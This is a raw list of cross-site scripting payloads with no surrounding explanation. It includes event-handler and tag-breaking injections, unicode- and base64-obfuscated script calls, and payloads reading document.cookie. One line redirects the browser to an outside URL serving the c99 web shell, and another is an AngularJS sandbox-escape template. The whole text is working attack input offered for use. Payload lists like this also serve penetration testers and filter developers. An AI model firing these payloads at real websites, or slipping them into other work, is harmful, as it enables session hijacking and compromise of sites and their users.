“>
z" onmouseover="alert('Hackerone')" style="position:fixed;left:0;top:0;width:9999px;height:9999px;"> /*-->]]>%>?>'-/"/-alert(1)//>
"x>
javascript:alert(document.cookie) //'/<@/>-->12')//"<!--
<sVg/oNloAd=//><sVg/oNloAd=alert("XSS2")//>
</script><svg/onload=';alert(document.cookie);'>
\><plaintext/onmouseover=prompt(document.cookie)><script>prompt(document.cookie)</script>@gmail.com<isindex
"><img src="1.jpg"onerror=javascript:alert("document.cookie")>
"><a href=javascript:prompt(1)>Clickme</a>
"><a href="javascript:confirm%28 1%29">Clickme</a>
"><img src=x onerror=co\u006efir\u006d`1`>
"><svg/onload=co\u006efir\u006d`1`>
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
test"><img src=x onerror=prompt(domain)>
';</script>">'><SCrIPT>alert(String.fromCharCode(88,83,83))</scRipt>
';'>"><marquee>test</marquee><plaintext/onmouseover=prompt(test)>
<svg onload="void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d
%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'; "></svg>
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></| \><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->">"> 
window.location="http://www.c99txt.net/s/c99.txt" "> "> ">"><a/ data-cke-saved-href=javascript:co\u006efir\u006d("1") href=javascript:co\u006efir\u006d("1")>clickme</a> "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme "><img/ data-cke-saved-src=x%0Aonerror=prompt`1` src=x%0Aonerror=prompt`1`> "><iframe srcdoc="<img src=x:x onerror=alert(1)>"> "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1> javascript://alert(document.domain);%2f%2f@ <a target="_blank" data-cke-saved-href="http://q-x.ath.cx/test" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a> {{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,prompt(document.domain)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
